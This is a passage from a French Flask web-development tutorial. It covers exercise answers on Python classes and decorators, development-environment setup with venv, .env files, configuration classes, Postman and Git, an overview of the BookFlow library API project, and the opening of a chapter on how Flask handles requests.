              "email": self.email,
              "date_inscription": self.date_inscription.isoformat(),
              "est_admin": self.est_administrateur
              # [ATTENTION] JAMAIS inclure mot_de_passe_hash dans la réponse !
          }

      def __repr__(self):
          return f"<Utilisateur {self.nom} ({self.email})>"

  # Test :
  user = Utilisateur("Momo", "momo@bookflow.com", "password123")
  print(user)          # -> <Utilisateur Momo (momo@bookflow.com)>
  print(user.to_dict()) # -> {...}
  user.changer_email("nouveau@bookflow.com")

CORRIGÉ 4.3 :
  livres = [
      {"titre": "Dune", "auteur": "Herbert", "pages": 900},
      {"titre": "Haiku", "auteur": "Basho", "pages": 50},
      {"titre": "Foundation", "auteur": "Asimov", "pages": 255},
      {"titre": "Haiku 2", "auteur": "Basho", "pages": 45},
      {"titre": "Hyperion", "auteur": "Simmons", "pages": 482}
  ]

  # List comprehension avec filtre et sélection de champs
  grands_livres = [
      {"titre": l["titre"], "auteur": l["auteur"]}
      for l in livres
      if l["pages"] > 300
  ]

  # Résultat :
  # [
  #   {"titre": "Dune", "auteur": "Herbert"},
  #   {"titre": "Foundation", "auteur": "Asimov"},
  #   {"titre": "Hyperion", "auteur": "Simmons"}
  # ]

CORRIGÉ 4.4 :
  from functools import wraps
  from flask import request, jsonify

  def validate_json(*champs_requis):
      """
      Décorateur factory : vérifie que la requête contient du JSON valide
      et que les champs requis sont présents.

      Usage : @validate_json('titre', 'auteur')
      """
      def decorateur(f):
          @wraps(f)
          def wrapper(*args, **kwargs):
              # Vérifier que Content-Type est application/json
              if not request.is_json:
                  return jsonify({
                      "success": False,
                      "error": "Content-Type doit être application/json"
                  }), 400

              # Récupérer le JSON
              data = request.get_json(silent=True)
              if data is None:
                  return jsonify({
                      "success": False,
                      "error": "Body JSON invalide ou vide"
                  }), 400

              # Vérifier les champs requis
              champs_manquants = [c for c in champs_requis if c not in data]
              if champs_manquants:
                  return jsonify({
                      "success": False,
                      "error": "Champs manquants",
                      "details": {c: "Ce champ est requis" for c in champs_manquants}
                  }), 400

              # Tout est OK -> continuer
              return f(*args, **kwargs)

          return wrapper
      return decorateur

  # Utilisation dans une route Flask :
  @app.route('/api/livres', methods=['POST'])
  @validate_json('titre', 'auteur')
  def creer_livre():
      data = request.get_json()
      # On sait que 'titre' et 'auteur' existent
      return jsonify({"titre": data['titre']}), 201

CORRIGÉ 4.5 :
  livres = [
      {"titre": "Dune", "genre": "science-fiction"},
      {"titre": "Foundation", "genre": "science-fiction"},
      {"titre": "Le Hobbit", "genre": "fantasy"},
      {"titre": "Harry Potter", "genre": "fantasy"},
      {"titre": "1984", "genre": "dystopie"}
  ]

  def grouper_par_genre(liste_livres):
      """Groupe une liste de livres par genre."""
      groupes = {}

      for livre in liste_livres:
          genre = livre.get("genre", "Inconnu")

          # Si le genre n'existe pas encore dans le dict, créer la liste
          if genre not in groupes:
              groupes[genre] = []

          # Ajouter le livre dans la liste de ce genre
          groupes[genre].append(livre)

      return groupes

  # Alternative avec setdefault() (plus Pythonique) :
  def grouper_par_genre_v2(liste_livres):
      groupes = {}
      for livre in liste_livres:
          genre = livre.get("genre", "Inconnu")
          groupes.setdefault(genre, []).append(livre)
      return groupes

  resultat = grouper_par_genre(livres)
  # {
  #   "science-fiction": [{"titre": "Dune",...}, {"titre": "Foundation",...}],
  #   "fantasy": [{"titre": "Le Hobbit",...}, {"titre": "Harry Potter",...}],
  #   "dystopie": [{"titre": "1984",...}]
  # }


╔══════════════════════════════════════════════════════════════════════════════════════╗
║          CHAPITRE 5 — ENVIRONNEMENT DE DÉVELOPPEMENT                               ║
║     Tout configurer correctement avant d'écrire la moindre ligne Flask             ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Un environnement bien configuré est la base d'un développement professionnel.
Les débutants font souvent l'erreur de sauter cette étape, ce qui crée des
problèmes de compatibilité, de versions et de sécurité.

Ce chapitre te guide pas à pas pour configurer un environnement professionnel.


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  PYTHON ET PIP
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

VÉRIFIER L'INSTALLATION PYTHON :

  # Dans le terminal :
  python --version      # ou python3 --version
  # -> Python 3.11.0  (Flask supporte Python 3.8+)

  pip --version
  # -> pip 23.0.1

  # Si Python n'est pas installé :
  # Windows : https://www.python.org/downloads/
  # Mac     : brew install python3
  # Linux   : sudo apt install python3 python3-pip

MISE À JOUR DE PIP :
  python -m pip install --upgrade pip

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  ENVIRONNEMENTS VIRTUELS (CRUCIAL !)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POURQUOI UN ENVIRONNEMENT VIRTUEL ?
─────────────────────────────────────
Imagine que tu as deux projets :
  -> Projet A utilise Flask 2.0
  -> Projet B utilise Flask 3.0

Sans environnement virtuel, ils se marchent dessus !
Un environnement virtuel isole les dépendances de chaque projet.

CRÉER ET ACTIVER UN ENVIRONNEMENT VIRTUEL :

  Windows :
  ──────────
    # Créer l'environnement (dans le dossier du projet)
    python -m venv venv

    # Activer l'environnement
    venv\Scripts\activate

    # Tu verras (venv) au début de ton terminal
    # (venv) C:\Users\Momo\bookflow>

    # Désactiver
    deactivate

  Mac / Linux :
  ──────────────
    # Créer l'environnement
    python3 -m venv venv

    # Activer l'environnement
    source venv/bin/activate

    # Tu verras (venv) au début de ton terminal
    # (venv) momo@ubuntu:~/bookflow$

    # Désactiver
    deactivate

RÈGLE D'OR : Toujours activer l'environnement virtuel avant de travailler !

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  STRUCTURE DU PROJET BOOKFLOW
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Voici la structure qu'on va construire tout au long de ce guide :

  bookflow/                    <- Racine du projet
  ├── venv/                    <- Environnement virtuel (ne pas toucher)
  ├── app/                     <- Code principal de l'application
  │   ├── __init__.py          <- Initialise l'app Flask
  │   ├── models/              <- Modèles de base de données
  │   │   ├── __init__.py
  │   │   ├── livre.py
  │   │   └── utilisateur.py
  │   ├── routes/              <- Endpoints de l'API (Blueprints)
  │   │   ├── __init__.py
  │   │   ├── livres.py
  │   │   ├── auth.py
  │   │   └── admin.py
  │   ├── services/            <- Logique métier
  │   │   ├── __init__.py
  │   │   ├── livre_service.py
  │   │   └── auth_service.py
  │   ├── utils/               <- Fonctions utilitaires
  │   │   ├── __init__.py
  │   │   └── validators.py
  │   └── config.py            <- Configuration de l'app
  ├── tests/                   <- Tests automatisés
  │   ├── test_livres.py
  │   └── test_auth.py
  ├── migrations/              <- Migrations de base de données
  ├── .env                     <- Variables d'environnement (SECRETS)
  ├── .env.example             <- Exemple sans secrets (à partager)
  ├── .gitignore               <- Fichiers à ignorer dans Git
  ├── requirements.txt         <- Liste des dépendances
  └── run.py                   <- Lancer l'application

On construira cette structure progressivement au fil des chapitres.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  INSTALLATION DES DÉPENDANCES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

INSTALLER FLASK ET LES BIBLIOTHÈQUES ESSENTIELLES :

  # Activer l'environnement virtuel d'abord !
  source venv/bin/activate  # (Mac/Linux) ou venv\Scripts\activate (Windows)

  # Installer Flask
  pip install flask

  # Installer les bibliothèques qu'on utilisera dans ce guide
  pip install flask-sqlalchemy      # ORM pour la base de données
  pip install flask-jwt-extended    # Authentification JWT
  pip install flask-cors            # Gestion CORS
  pip install flask-wtf             # Formulaires et validation
  pip install flask-migrate         # Migrations de base de données
  pip install python-dotenv         # Variables d'environnement
  pip install werkzeug              # Utilitaires (inclus avec Flask)
  pip install bcrypt                # Hachage de mots de passe
  pip install marshmallow           # Sérialisation/validation

SAUVEGARDER LES DÉPENDANCES :

  # Créer requirements.txt (TOUJOURS faire ça !)
  pip freeze > requirements.txt

  # Contenu de requirements.txt :
  # Flask==3.0.0
  # Flask-SQLAlchemy==3.1.1
  # Flask-JWT-Extended==4.6.0
  # Flask-Cors==4.0.0
  # ...

  # Pour installer les dépendances depuis requirements.txt :
  pip install -r requirements.txt

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  VARIABLES D'ENVIRONNEMENT (.env)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

POURQUOI LES VARIABLES D'ENVIRONNEMENT ?
Les informations sensibles (mots de passe BDD, clés secrètes, tokens) ne
doivent JAMAIS être dans le code source (surtout pas sur GitHub !).
On les stocke dans un fichier .env qui ne sera JAMAIS partagé.

FICHIER .env (à créer à la racine du projet) :
  # .env — NE JAMAIS COMMITER CE FICHIER !
  FLASK_ENV=development
  FLASK_DEBUG=True
  SECRET_KEY=votre-cle-secrete-tres-longue-et-aleatoire-ici
  DATABASE_URL=sqlite:///bookflow.db
  JWT_SECRET_KEY=une-autre-cle-secrete-pour-jwt
  MAIL_USERNAME=bookflow@gmail.com
  MAIL_PASSWORD=app-password-gmail

FICHIER .env.example (à partager sur GitHub) :
  # .env.example — Modèle sans secrets réels
  FLASK_ENV=development
  FLASK_DEBUG=True
  SECRET_KEY=change-this-to-a-random-secret-key
  DATABASE_URL=sqlite:///bookflow.db
  JWT_SECRET_KEY=change-this-jwt-secret-key
  MAIL_USERNAME=
  MAIL_PASSWORD=

FICHIER .gitignore (pour ne pas partager .env) :
  # .gitignore
  venv/
  .env
  __pycache__/
  *.pyc
  *.db
  .DS_Store         # Mac
  instance/

UTILISER LES VARIABLES D'ENVIRONNEMENT EN PYTHON :
  import os
  from dotenv import load_dotenv

  # Charger les variables du fichier .env
  load_dotenv()

  # Accéder aux variables
  secret_key = os.getenv('SECRET_KEY', 'valeur-par-defaut')
  database_url = os.environ.get('DATABASE_URL')
  debug_mode = os.getenv('FLASK_DEBUG', 'False').lower() == 'true'

FICHIER config.py (configuration professionnelle Flask) :
  import os
  from dotenv import load_dotenv

  load_dotenv()  # Charger .env

  class Config:
      """Configuration de base."""
      SECRET_KEY = os.getenv('SECRET_KEY', 'dev-secret-key')
      SQLALCHEMY_TRACK_MODIFICATIONS = False
      JWT_SECRET_KEY = os.getenv('JWT_SECRET_KEY', 'jwt-secret')

  class DevelopmentConfig(Config):
      """Configuration pour le développement."""
      DEBUG = True
      SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL', 'sqlite:///bookflow_dev.db')

  class ProductionConfig(Config):
      """Configuration pour la production."""
      DEBUG = False
      SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL')  # PostgreSQL en production
      # En production, pas de valeur par défaut !

  class TestingConfig(Config):
      """Configuration pour les tests."""
      TESTING = True
      SQLALCHEMY_DATABASE_URI = 'sqlite:///bookflow_test.db'

  # Dictionnaire de configs
  config = {
      'development': DevelopmentConfig,
      'production': ProductionConfig,
      'testing': TestingConfig,
      'default': DevelopmentConfig
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  7⃣  POSTMAN — OUTIL DE TEST API
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Postman est l'outil indispensable pour tester ton API Flask sans avoir de
frontend. Tu l'utiliseras constamment pendant le développement.

INSTALLATION :
  -> Télécharger sur : https://www.postman.com/downloads/
  -> Ou utiliser directement dans le navigateur : https://web.postman.co/

UTILISATION DE BASE :
  1. Créer une nouvelle requête
  2. Choisir la méthode (GET, POST, PUT, DELETE)
  3. Entrer l'URL : http://localhost:5000/api/livres
  4. Ajouter des en-têtes si nécessaire
  5. Ajouter un body JSON si c'est un POST/PUT
  6. Cliquer "Send"

ORGANISER TES REQUÊTES AVEC LES COLLECTIONS :
  Crée une collection "BookFlow API" avec des dossiers :
  ├── Auth/
  │   ├── POST Login
  │   └── POST Register
  ├── Livres/
  │   ├── GET Tous les livres
  │   ├── GET Un livre
  │   ├── POST Créer livre
  │   ├── PATCH Modifier livre
  │   └── DELETE Supprimer livre
  └── Utilisateurs/
      ├── GET Profil
      └── PATCH Modifier profil

VARIABLES D'ENVIRONNEMENT POSTMAN :
  Dans Postman, tu peux définir des variables :
  base_url = http://localhost:5000
  token = eyJhbGciOiJIUzI1NiJ9...

  Puis les utiliser dans tes requêtes :
  URL : {{base_url}}/api/livres
  Header : Authorization: Bearer {{token}}

ALTERNATIVE EN LIGNE DE COMMANDE (curl) :
  # GET
  curl http://localhost:5000/api/livres

  # POST avec JSON
  curl -X POST http://localhost:5000/api/livres \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer MON_TOKEN" \
    -d '{"titre": "Dune", "auteur": "Herbert"}'

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  8⃣  GIT — CONTRÔLE DE VERSION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Git est OBLIGATOIRE dans tout projet professionnel. Voici les commandes
essentielles pour BookFlow.

INITIALISER GIT :
  # Dans le dossier bookflow/
  git init
  git add .gitignore  # Ajouter d'abord .gitignore !
  git add .
  git commit -m "Initial commit : structure du projet BookFlow"

WORKFLOW GIT QUOTIDIEN :
  # Vérifier l'état
  git status

  # Voir les modifications
  git diff

  # Ajouter tous les fichiers modifiés
  git add .

  # Ou ajouter un fichier spécifique
  git add app/routes/livres.py

  # Créer un commit
  git commit -m "feat: ajout de l'endpoint GET /api/livres"

  # Pousser vers GitHub
  git push origin main

BRANCHES POUR LES FONCTIONNALITÉS :
  # Créer une branche pour une nouvelle feature
  git checkout -b feature/authentification

  # Travailler, commiter...
  git commit -m "feat: implémentation JWT"

  # Merger dans main quand terminé
  git checkout main
  git merge feature/authentification

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  9⃣  EXERCICES PRATIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 5.1 : Configure ton environnement complet :
    a) Installe Python 3.11+
    b) Crée un dossier bookflow/
    c) Crée et active un environnement virtuel
    d) Installe Flask
    e) Vérifie l'installation avec : python -c "import flask; print(flask.__version__)"

  Exercice 5.2 : Crée la structure de fichiers BookFlow décrite dans ce chapitre.
    Utilise les commandes mkdir et touch (Linux/Mac) ou mkdir et type nul > (Windows).

  Exercice 5.3 : Crée un fichier .env avec les variables nécessaires et
    un fichier .gitignore approprié.

NIVEAU INTERMÉDIAIRE :
  Exercice 5.4 : Crée le fichier config.py complet avec les 3 configurations
    (Development, Production, Testing) et teste-le en Python.

  Exercice 5.5 : Installe Postman et crée une collection "BookFlow API"
    avec les requêtes de base (même si le serveur n'existe pas encore).

NIVEAU AVANCÉ :
  Exercice 5.6 : Initialise un dépôt Git pour BookFlow :
    - Premier commit avec la structure
    - Crée une branche develop
    - Configure un .gitignore professionnel complet

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 5.1 — Commandes complètes :
  # 1. Vérifier Python
  python3 --version

  # 2. Créer et entrer dans le dossier
  mkdir bookflow && cd bookflow

  # 3. Créer l'environnement virtuel
  python3 -m venv venv

  # 4. Activer
  source venv/bin/activate  # Mac/Linux

  # 5. Installer Flask
  pip install flask

  # 6. Vérifier
  python -c "import flask; print(flask.__version__)"
  # -> 3.0.0 (ou version installée)

CORRIGÉ 5.2 — Créer la structure :
  mkdir -p app/models app/routes app/services app/utils tests migrations

  # Créer les fichiers __init__.py
  touch app/__init__.py
  touch app/models/__init__.py
  touch app/routes/__init__.py
  touch app/services/__init__.py
  touch app/utils/__init__.py

  # Créer les autres fichiers
  touch app/config.py
  touch run.py
  touch .env
  touch .env.example
  touch .gitignore
  touch requirements.txt

CORRIGÉ 5.3 — Fichiers .env et .gitignore :

  Fichier .env :
  ─────────────
  FLASK_ENV=development
  FLASK_DEBUG=True
  SECRET_KEY=bookflow-super-secret-key-change-in-production-2024
  DATABASE_URL=sqlite:///instance/bookflow.db
  JWT_SECRET_KEY=jwt-secret-key-change-in-production-2024
  JWT_ACCESS_TOKEN_EXPIRES=3600
  CORS_ORIGINS=http://localhost:3000,http://localhost:5173

  Fichier .gitignore :
  ───────────────────
  # Environnement virtuel
  venv/
  .venv/
  env/

  # Variables d'environnement (JAMAIS sur GitHub !)
  .env
  .env.local
  .env.production

  # Python
  __pycache__/
  *.py[cod]
  *$py.class
  *.pyc

  # Base de données
  *.db
  *.sqlite
  *.sqlite3
  instance/

  # Logs
  *.log
  logs/

  # IDE
  .vscode/
  .idea/
  *.swp

  # Mac
  .DS_Store

  # Tests
  .pytest_cache/
  .coverage
  htmlcov/

CORRIGÉ 5.4 :
  # config.py — Configuration complète BookFlow
  import os
  from datetime import timedelta
  from dotenv import load_dotenv

  # Charger les variables du fichier .env
  load_dotenv()

  class Config:
      """Configuration de base partagée par tous les environnements."""

      # Clé secrète Flask (sessions, cookies)
      SECRET_KEY = os.getenv('SECRET_KEY', 'dev-key-change-in-prod')

      # Configuration SQLAlchemy
      SQLALCHEMY_TRACK_MODIFICATIONS = False  # Désactive les warnings inutiles
      SQLALCHEMY_ECHO = False  # Ne pas afficher les requêtes SQL (True pour debug)

      # Configuration JWT
      JWT_SECRET_KEY = os.getenv('JWT_SECRET_KEY', 'jwt-dev-key')
      JWT_ACCESS_TOKEN_EXPIRES = timedelta(
          seconds=int(os.getenv('JWT_ACCESS_TOKEN_EXPIRES', 3600))
      )
      JWT_REFRESH_TOKEN_EXPIRES = timedelta(days=30)

      # Configuration CORS
      CORS_ORIGINS = os.getenv('CORS_ORIGINS', 'http://localhost:3000').split(',')

  class DevelopmentConfig(Config):
      """Développement : debug activé, SQLite."""
      DEBUG = True
      TESTING = False
      SQLALCHEMY_DATABASE_URI = os.getenv(
          'DATABASE_URL',
          'sqlite:///bookflow_dev.db'
      )
      SQLALCHEMY_ECHO = True  # Voir les requêtes SQL en dev

  class ProductionConfig(Config):
      """Production : pas de debug, PostgreSQL obligatoire."""
      DEBUG = False
      TESTING = False
      SQLALCHEMY_DATABASE_URI = os.getenv('DATABASE_URL')

      # Vérification que les secrets sont définis
      def __init__(self):
          if not os.getenv('SECRET_KEY'):
              raise ValueError("SECRET_KEY doit être définie en production !")
          if not os.getenv('DATABASE_URL'):
              raise ValueError("DATABASE_URL doit être définie en production !")

  class TestingConfig(Config):
      """Tests : BDD en mémoire, pas d'emails réels."""
      DEBUG = True
      TESTING = True
      SQLALCHEMY_DATABASE_URI = 'sqlite:///:memory:'  # BDD en mémoire pour les tests
      JWT_ACCESS_TOKEN_EXPIRES = timedelta(minutes=5)  # Tokens courts pour les tests

  # Mapping nom -> classe de config
  config_map = {
      'development': DevelopmentConfig,
      'production': ProductionConfig,
      'testing': TestingConfig,
      'default': DevelopmentConfig
  }

  def get_config(env=None):
      """Retourne la bonne configuration selon l'environnement."""
      env = env or os.getenv('FLASK_ENV', 'development')
      return config_map.get(env, DevelopmentConfig)

  # Test rapide :
  if __name__ == '__main__':
      cfg = get_config('development')
      print(f"Config: {cfg.__name__}")
      print(f"Debug: {cfg.DEBUG}")
      print(f"DB: {cfg.SQLALCHEMY_DATABASE_URI}")


╔══════════════════════════════════════════════════════════════════════════════════════╗
║                  [OBJECTIF] PROJET FIL ROUGE — BOOKFLOW API                                ║
║              Introduction et architecture du projet complet                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  PRÉSENTATION DU PROJET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

BookFlow API est une API REST complète pour une application de gestion
de bibliothèque en ligne. C'est le projet qu'on va construire ENSEMBLE
du début à la fin tout au long de ce guide.

FONCTIONNALITÉS FINALES :
  [OK] Authentification complète (register, login, logout, refresh token)
  [OK] Gestion des utilisateurs (profil, rôles, permissions)
  [OK] Catalogue de livres (CRUD complet)
  [OK] Système d'emprunts (emprunter, retourner, historique)
  [OK] Système de recommandations basé sur les lectures
  [OK] Avis et notations des livres
  [OK] Panel d'administration
  [OK] Recherche et filtres avancés
  [OK] Pagination
  [OK] Rate limiting (protection contre les abus)
  [OK] Documentation API automatique
  [OK] Tests automatisés
  [OK] Déploiement Docker + Nginx

TECHNOLOGIES UTILISÉES :
  -> Framework : Flask 3.0
  -> Base de données : SQLite (dev) / PostgreSQL (prod)
  -> ORM : SQLAlchemy + Flask-Migrate
  -> Authentification : JWT (Flask-JWT-Extended)
  -> Validation : Marshmallow
  -> Tests : Pytest
  -> Documentation : Flask-RESTX ou Flasgger
  -> Déploiement : Docker + Gunicorn + Nginx

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  MODÈLE DE DONNÉES (APERÇU)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  UTILISATEURS         LIVRES              EMPRUNTS
  ──────────────       ─────────────       ──────────────────
  id (PK)              id (PK)             id (PK)
  nom                  titre               utilisateur_id (FK)
  email                auteur              livre_id (FK)
  mot_de_passe_hash    isbn                date_emprunt
  role                 pages               date_retour_prevue
  date_inscription     disponible          date_retour_reelle
  actif                genre               statut
                       editeur
                       annee_publication
                       description
                       note_moyenne

  AVIS                 CATEGORIES          LIVRES_CATEGORIES
  ──────────────       ─────────────       ─────────────────
  id (PK)              id (PK)             livre_id (FK)
  livre_id (FK)        nom                 categorie_id (FK)
  utilisateur_id (FK)  description
  note (1-5)
  commentaire
  date_creation

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  ENDPOINTS API (APERÇU COMPLET)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  AUTH :
  POST   /api/v1/auth/register      -> Inscription
  POST   /api/v1/auth/login         -> Connexion
  POST   /api/v1/auth/logout        -> Déconnexion
  POST   /api/v1/auth/refresh       -> Renouveler le token

  LIVRES :
  GET    /api/v1/livres             -> Liste des livres (+ filtres)
  GET    /api/v1/livres/<id>        -> Détail d'un livre
  POST   /api/v1/livres             -> Créer un livre (admin)
  PATCH  /api/v1/livres/<id>        -> Modifier un livre (admin)
  DELETE /api/v1/livres/<id>        -> Supprimer un livre (admin)

  EMPRUNTS :
  GET    /api/v1/emprunts           -> Mes emprunts en cours
  POST   /api/v1/emprunts           -> Emprunter un livre
  PATCH  /api/v1/emprunts/<id>      -> Retourner un livre
  GET    /api/v1/emprunts/historique -> Historique des emprunts

  UTILISATEURS :
  GET    /api/v1/users/me           -> Mon profil
  PATCH  /api/v1/users/me          -> Modifier mon profil
  GET    /api/v1/users             -> Liste des utilisateurs (admin)

  AVIS :
  GET    /api/v1/livres/<id>/avis   -> Avis d'un livre
  POST   /api/v1/livres/<id>/avis   -> Poster un avis
  DELETE /api/v1/avis/<id>          -> Supprimer mon avis

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  CE QU'ON CONSTRUIT DANS CETTE PARTIE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Dans cette Partie 1, on a posé les fondations théoriques.
On a maintenant :
  [OK] Compris HTTP et ses méthodes
  [OK] Compris l'architecture Client/Serveur
  [OK] Maîtrisé JSON
  [OK] Révisé Python pour Flask
  [OK] Configuré l'environnement de développement

Dans la Partie 2, on va :
  -> Installer et créer notre première app Flask
  -> Comprendre le routing Flask
  -> Faire fonctionner notre premier endpoint BookFlow

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  FIN DE LA PARTIE 1 — FONDATIONS WEB & PYTHON

  [DOCS] Tu as appris :
     -> HTTP : méthodes, codes de statut, en-têtes, cycle requête/réponse
     -> Architecture Client/Serveur : rôles, couches, stateless, JWT vs Sessions
     -> JSON : syntaxe, manipulation Python, structure des réponses API
     -> Python pour Flask : décorateurs, classes, gestion erreurs, modules
     -> Environnement : venv, .env, structure projet, Postman, Git

  -> Prochaine étape : Partie 2 — Introduction à Flask

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║           FLASK MASTER GUIDE — PARTIE 2 : INTRODUCTION À FLASK                    ║
║                      Du "Hello World" à une API structurée                        ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 2 / 20
Chapitres      : 6 -> 9
Prérequis      : Partie 1 complète (HTTP, JSON, Python, environnement configuré)
Projet fil     : BookFlow API — Première version fonctionnelle

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 2
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 6  — Installation et première application Flask
  CHAPITRE 7  — Routing : l'art de gérer les URLs
  CHAPITRE 8  — Requêtes et réponses : request & response
  CHAPITRE 9  — Mode debug, logs et gestion des erreurs

  PROJET FIL ROUGE — BookFlow API v0.1 : premiers endpoints fonctionnels

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║             CHAPITRE 6 — INSTALLATION ET PREMIÈRE APPLICATION FLASK               ║
║         Comprendre Flask de l'intérieur avant d'écrire du code                   ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE FLASK ?
──────────────────────
Flask est un micro-framework web Python. Le préfixe "micro" ne signifie pas
qu'il est limité — il signifie que Flask ne prend pas de décisions à ta place.
Flask te donne les outils essentiels et te laisse choisir comment organiser ton code.

Comparaison avec Django (l'autre grand framework Python) :

  FLASK                               DJANGO
  ──────────────────────────────      ──────────────────────────────
  Micro-framework                     Full-stack framework
  Tu choisis tout                     Tout est inclus et décidé
  Parfait pour les API REST           Parfait pour les apps complexes
  Courbe d'apprentissage douce        Courbe d'apprentissage plus raide
  Très flexible                       Plus opinié (conventions strictes)
  Moins de magie                      Beaucoup de "magie" (ORM, admin, etc.)
  Idéal pour apprendre le web         Idéal pour les grands projets MVC

POURQUOI APPRENDRE FLASK D'ABORD ?
-> Tu comprends VRAIMENT comment le web fonctionne (pas de magie cachée)
-> Parfait pour les API REST et microservices
-> Très utilisé en entreprise pour les backends légers
-> Facilement extensible avec des extensions
-> Tu peux passer à Django ensuite en comprenant déjà les fondamentaux

DANS QUELS CAS UTILISE-T-ON FLASK ?
-> API REST pour applications mobiles
-> Backend pour applications React/Vue/Angular
-> Microservices
-> Prototypes rapides
-> APIs de machine learning (Flask + scikit-learn/TensorFlow)
-> Outils internes d'entreprise


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  FONCTIONNEMENT INTERNE DE FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

COMMENT FLASK FONCTIONNE SOUS LE CAPOT
────────────────────────────────────────
Flask repose sur deux bibliothèques fondamentales :

  WERKZEUG (prononcé "verk-zoig") :
  -> Bibliothèque WSGI (Web Server Gateway Interface)
  -> Gère la communication bas niveau HTTP
  -> Parse les requêtes HTTP entrantes
  -> Crée les objets Request et Response
  -> Gère le routage au niveau bas
  -> Fournit le serveur de développement

  JINJA2 :
  -> Moteur de templates HTML
  -> Permet d'insérer des données Python dans du HTML
  -> Syntaxe puissante : variables, boucles, conditions, héritage

WSGI — L'INTERFACE ENTRE PYTHON ET LES SERVEURS WEB :
  WSGI est un standard Python (PEP 3333) qui définit comment un serveur web
  communique avec une application Python.

  [Navigateur] -> [Serveur Web (Nginx/Apache/Gunicorn)] -> [WSGI] -> [Flask App]

  Concrètement :
  -> Nginx reçoit la requête HTTP brute
  -> Il la transmet à Gunicorn (serveur WSGI de production)
  -> Gunicorn appelle ton application Flask via WSGI
  -> Flask traite et retourne une réponse
  -> La réponse remonte jusqu'au navigateur

  En développement, Flask inclut son propre serveur WSGI (Werkzeug).
  En production, on utilise Gunicorn ou uWSGI (plus robustes).

LE CYCLE DE VIE D'UNE REQUÊTE FLASK :

  ┌────────────────────────────────────────────────────────────────────────┐
  │                     CYCLE COMPLET D'UNE REQUÊTE                        │
  └────────────────────────────────────────────────────────────────────────┘

  1. CLIENT envoie : GET /api/livres HTTP/1.1

  2. WERKZEUG reçoit la requête et crée l'objet Request :
     request.method  = "GET"
     request.path    = "/api/livres"
     request.headers = {...}
     request.args    = {}  (query string vide)

  3. FLASK ROUTER cherche quelle fonction correspond à GET /api/livres
     -> Il parcourt la table de routage
     -> Il trouve : get_livres()

